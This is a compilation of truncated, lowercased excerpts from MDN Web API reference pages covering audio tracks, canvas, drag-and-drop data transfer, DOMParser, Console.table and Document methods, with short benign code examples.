syntax var audiotracklanguage = audiotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the audio track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
... for example, if the primary language used in the track is united states english, this value would be "en-us".
... for brazilian portuguese, the value would be "pt-br".
... function getavailablelanguages(el) { var tracklist = []; const wantedkinds = [ "main", "translation" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, language: track.language }); } }); return tracklist; } specifications specification status comment html living standardthe definition of 'audiotrack.language' in t...
BeforeUnloadEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" st...
...roke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeunloadevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeunloadevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes t...
...arget objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
... window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
Bluetooth.requestDevice() - Web APIs
devices with name "examplename".
...devices with name starting with "prefix".
...}) .catch(function(error) { console.log("something went wrong.
... " + error); }); detailed examples are in the specification.
BroadcastChannel: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button.
... there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element.
... sender <h1>sender</h1> <label for="message">type a message to broadcast:</label><br/> <textarea id="message" name="message" rows="1" cols="40">hello</textarea> <button id="broadcast-message" type="button">broadcast message</button> body { border: 1px solid black; padding: .5rem; height: 150px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const channel = new broadcastchannel('example-channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('cli...
...ck', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlis...
CDATASection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4d...
...de4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:...
...href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/text" target="_top"><rect x="436" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">text</text></a><polyline points="511,25 5...
...21,20 521,30 511,25" stroke="#d4dde4" fill="none"/><line x1="521" y1="25" x2="529" y2="25" stroke="#d4dde4"/><line x1="529" y1="25" x2="529" y2="90" stroke="#d4dde4"/><line x1="529" y1="90" x2="512" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cdatasection" target="_top"><rect x="391" y="65" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="451" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cdatasection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no specific properties and implements those of its parent text.
CSSStyleDeclaration.setProperty() - Web APIs
note: value must not contain "!important" -- that should be set using the priority parameter.
... priority optional is a domstring allowing the "important" css priority to be set.
...the following values are accepted: string value "important" keyword undefined string empty value "" return value undefined exceptions domexception (nomodificationallowederror): if the property or declaration block is read only.
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justi...
Cache - Web APIs
WebAPICache
note: in chrome, visit chrome://inspect/#service-workers and click on the "inspect" link below the registered service worker to view logging statements for the various actions the service-worker.js script is performing.
... var expectedcachenamesset = new set(object.values(current_caches)); event.waituntil( caches.keys().then(function(cachenames) { return promise.all( cachenames.map(function(cachename) { if (!expectedcachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it.
... // both fetch() and cache.put() "consume" the request, so we need to make a copy.
...have a content-type response header that starts with "font/".
CanvasRenderingContext2D.addHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); canvas.addeventlistener('mousemove', function(event) { if(event.region) { alert('ouch, my eye :('); } }); ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, ...
...80, 10, 0, 2 * math.pi); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi); ctx.stroke(); edit the code below to see your changes update live in the canvas.
... (if you don't see the full smiley, check the browser compatibility table to see if your current browser supports hit regions already; you might need to activate a preference.) playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:250px"> ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi, false); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.arc(130, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi, false); ct...
...x.stroke();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }); canvas.addeventlistener("mousemove", function(event){ if(event.region) { alert("ouch, my eye :("); } }); textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications canvas hit regions have been removed...
CanvasRenderingContext2D.arcTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // tangential lines ctx.beginpath(); ctx.strokestyle = 'gray'; ctx.moveto(200, 20); ctx.lineto(200, 130); ctx.lineto(50, 20); ctx.stroke(); // arc ctx.beginpath(); ctx.strokestyle = 'black'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.stroke(); // ...
... html <canvas id="canvas"></canvas> javascript the arc begins at the point specified by moveto(): (230, 20).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(180, 90); ctx.arcto(180,130, 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method.
... html <div> <label for="radius">radius: </label> <input name="radius" type="range" id="radius" min=0 max=100 value=50> <label for="radius" id="radius-output">50</label> </div> <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const controlout = document.getelementbyid('radius-output'); const control = document.getelementbyid('radius'); control.oninput = () => { controlout.textcontent = r = control.value; }; const mouse = { x: 0, y: 0 }; let r = 100; // radius const p0 = { x: 0, y: 50 }; const p1 = { x: 100, y: 100 }; const p2 = { x: 150, y: 50 }; const p3 = { x: 200, y: 100 }; const labelpoint = function (...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
syntax ctx.imagesmoothingquality = "low" || "medium" || "high" options possible values: "low" low quality.
... "medium" medium quality.
... "high" high quality.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification.
CanvasRenderingContext2D.isPointInPath() - Web APIs
possible values: "nonzero": the non-zero winding rule.
... "evenodd": the even-odd winding rule.
... html <canvas id="canvas"></canvas> <p>in path: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this example checks whether th...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circle const circle = new path2d(); circle.arc(150, 75, 50, 0, 2 * math.pi); ctx.fillstyle = 'red'; ctx.fill(circle); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status comment htm...
Hit regions and accessibility - Web APIs
partially overlaying the <a href="http://en.wikipedia.org/wiki/circle" onfocus="drawcircle();" onblur="drawpicture();">circle</a>.
... partially overlaying the circle is a green <a href="http://en.wikipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the video how nvda reads this example by steve faulkner.
... <canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="start game"></canvas> hit regions whether the mouse coordinates are within a particular area on the canvas, is a common problem to solve.
... <canvas id="canvas"></canvas> <script> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: 'circle'}); canvas.addeventlistener('mousemove', function(event) { if (event.region) { alert('hit region: ' + event.region); } }); </script> the addhitregion() method also takes a cont...
Pixel manipulation with canvas - Web APIs
the data property returns a uint8clampedarray which can be accessed to look at the raw pixel data; each pixel is represented by four one-byte values (red, green, blue, and alpha, in that order; that is, "rgba" format).
... <canvas id="canvas" width="300" height="227" style="float:left"></canvas> <div id="color" style="width:200px;height:50px;float:left"></div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); img.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = d...
... <canvas id="canvas" width="300" height="227"></canvas> <div> <input id="grayscalebtn" value="grayscale" type="button"> <input id="invertbtn" value="invert" type="button"> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcont...
... zoom example <canvas id="canvas" width="300" height="227"></canvas> <canvas id="zoom" width="300" height="227"></canvas> <div> <label for="smoothbtn"> <input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"> enable image smoothing </label> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { v...
Console.table() - Web APIs
WebAPIConsoletable
// an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var me = new person("john", "smith"); console.table(me); collections of compound types if the elements in the array, or properties in the object, are themselves arrays or objects, then their elements or properties ar...
...e enumerated in the row, one per column: // an array of arrays var people = [["john", "smith"], ["jane", "doe"], ["emily", "jones"]] console.table(people); // an array of objects function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new person("jane", "doe"); var emily = new person("emily", "jones"); console.table([john, jane, emily]); note that if the array contains objects, then the columns are labeled with the property name.
... // an object whose properties are objects var family = {}; family.mother = new person("jane", "smith"); family.father = new person("john", "smith"); family.daughter = new person("emily", "smith"); console.table(family); restricting the columns displayed by default, console.table() lists all elements in each row.
... you can use the optional columns parameter to select a subset of columns to display: // an array of objects, logging only firstname function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new person("jane", "doe"); var emily = new person("emily", "jones"); console.table([john, jane, emily], ["firstname"]); sorting columns you can sort the table by a particular column by clicking on that column's label.
DOMParser - Web APIs
WebAPIDOMParser
text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snippet of the source xml)</sourcetext> </parsererror> the parsing errors are also reported to the error console, with the do...
... if the mime type is text/xml, the result will be an xmldocument if the mime type is image/svg+xml, the result will be an svgdocument if the mime type is text/html, the result will be an htmldocument let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") // returns a document, but not an svgdocument nor an htmldocument parser = new domparser(); doc = parser.parsefromstring(stringcontainingsvgsource, "image/svg+xml") // returns a svgdocument, which also is a document.
... parser = new domparser(); doc = parser.parsefromstring(stringcontaininghtmlsource, "text/html") // returns an htmldocument, which also is a document.
...@source https://gist.github.com/1129031 */ /*global document, domparser*/ (function(domparser) { "use strict"; var proto = domparser.prototype, nativeparse = proto.parsefromstring; // firefox/opera/ie throw errors on unsupported types try { // webkit returns null on unsupported types if ((new domparser()).parsefromstring("", "text/html")) { // text/html parsing is natively supported return; } } catch (ex) {} proto.parsefromstring = function(markup, type) { if (/^\s*text\/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (ma...
DataTransfer.clearData() - Web APIs
this method does not remove files from the drag operation, so it's possible for there still to be an entry with the type "files" left in the object's datatransfer.types list if there are any files included in the drag.
... html <span class="tweaked" id="source" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.
... </span> <span class="tweaked" id="target">drop zone</span> <div>status: <span id="status">drag to start</span></div> <div>data is: <span id="data">uninitialized</span></div> css span.tweaked { display: inline-block; margin: 1em 0; padding: 1em 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript window.addeventlistener('domcontentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('target'); var status = document.getelementbyid('status'); var data = document.getelementbyid('data'); var dropped = false; // register event handlers draggable.addeventlistener('dragstart', dragstarthandler); draggable.addeventlistener('dr...
...t data linked to event format « text » var _data = event.datatransfer.getdata('text/plain'); var element = document.getelementbyid(_data); // append drag source element to event's target element event.target.appendchild(element); // change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html living standardthe definition of 'datatransfer.cleardata()' in that specification.
DataTransfer.dropEffect - Web APIs
in a dragend event, for instance, if the desired dropeffect is "move", then the data being dragged should be removed from the source.
... html content <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.
... </p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css content div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript content function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectal...
...lowed); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } specifications specification status comment html living standardthe definition of 'dropeffect' in that specification.
DataTransfer.items - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.d...
...atatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("...
... items[" + i + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment ht...
DataTransferItem.kind - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (dat...
...a[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
... drop: file "); } } } specifications specification status comment html living standardthe definition of 'kind' in that specification.
DataTransferItemList.DataTransferItem() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
... drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #targ...
DataTransferItemList.length - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
... drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #targ...
Document.compatMode - Web APIs
syntax const mode = document.compatmode value an enumerated value that can be: "backcompat" if the document is in quirks mode.
... "css1compat" if the document is in no-quirks (also known as "standards") mode or limited-quirks (also known as "almost standards") mode.
... note: all these modes are now standardized, so the older "standards" and "almost standards" names are nonsensical and no longer used in standards.
... example if (document.compatmode == "backcompat") { // in quirks mode } specifications specification status comment domthe definition of 'compatmode' in that specification.
Document.createTextNode() - Web APIs
example <!doctype html> <html lang="en"> <head> <title>createtextnode example</title> <script> function addtextnode(text) { var newtext = document.createtextnode(text), p1 = document.getelementbyid("p1"); p1.appendchild(newtext); } </script> </head> <body> <button onclick="addtextnode('yes!
... ');">yes!</button> <button onclick="addtextnode('no!
... ');">no!</button> <button onclick="addtextnode('we can!
... ');">we can!</button> <hr /> <p id="p1">first line of paragraph.</p> </body> </html> specifications specification status comment domthe definition of 'document: createtextnode' in that specification.
Document: drag event - Web APIs
html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blue...
...violet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
... on the dragged elem dragged = event.target; // make it half transparent event.target.style.opacity = .5; }, false); document.addeventlistener("dragend", function(event) { // reset the transparency event.target.style.opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // prevent default to allow drop event.preventdefault(); }, false); document.addeventlistener("dragenter", function(event) { // highlight potential drop target when the draggable element enters it if (event.target.classname == "dropzone") { event.target.style.background = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset background of potential drop target when the draggable element leaves i...
...t if (event.target.classname == "dropzone") { event.target.style.background = ""; } }, false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document.getElementsByClassName() - Web APIs
<html> <body> <div id="parent-id"> <p>hello world 1</p> <p class="test">hello world 2</p> <p>hello world 3</p> <p>hello world 4</p> </div> <script> var parentdom = document.getelementbyid("parent-id"); var test = parentdom.getelementsbyclassname("test"); // a list of matching elements, *not* the element itself console.log(test); //htmlcollection[1] ...
... var testtarget = parentdom.getelementsbyclassname("test")[0]; // the first element, as we wanted console.log(testtarget); //<p class="test">hello world 2</p> </script> </body> </html> multiple classes example document.getelementsbyclassname works very similarly to document.queryselector and document.queryselectorall.
... html <span class="orange fruit">orange fruit</span> <span class="orange juice">orange juice</span> <span class="apple juice">apple juice</span> <span class="foo bar">something random</span> <textarea id="resultarea" style="width:98%;height:7em"></textarea> javascript // getelementsbyclassname only selects elements that have both given classes var allorangejuicebyclass = document.getelementsbyclassname('orange juice'); var result = "document.getelementsbyclassname('orange juice')"; for (var i=0, len=allorangejuicebyclass.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicebyclass[i].textcontent; } // queryselector only selects full complete matches var allorangejuicequery = document.queryselectorall('.orange...
....juice'); result += "\n\ndocument.queryselectorall('.orange.juice')"; for (var i=0, len=allorangejuicequery.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicequery[i].textcontent; } document.getelementbyid("resultarea").value = result; result specifications specification status comment domthe definition of 'document.getelementsbyclassname' in that specification.
Document.getElementsByTagName() - Web APIs
the special string "*" represents all elements.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>getelementsbytagname example</title> <script> function getallparaelems() { var allparas = document.getelementsbytagname('p'); var num = allparas.length; alert('there are ' + num + ' paragraph in this document'); } function div1paraelems() { var div1 = document.getelementbyid('div1'); var div1paras = div1.g...
...etelementsbytagname('p'); var num = div1paras.length; alert('there are ' + num + ' paragraph in #div1'); } function div2paraelems() { var div2 = document.getelementbyid('div2'); var div2paras = div2.getelementsbytagname('p'); var num = div2paras.length; alert('there are ' + num + ' paragraph in #div2'); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallpara...
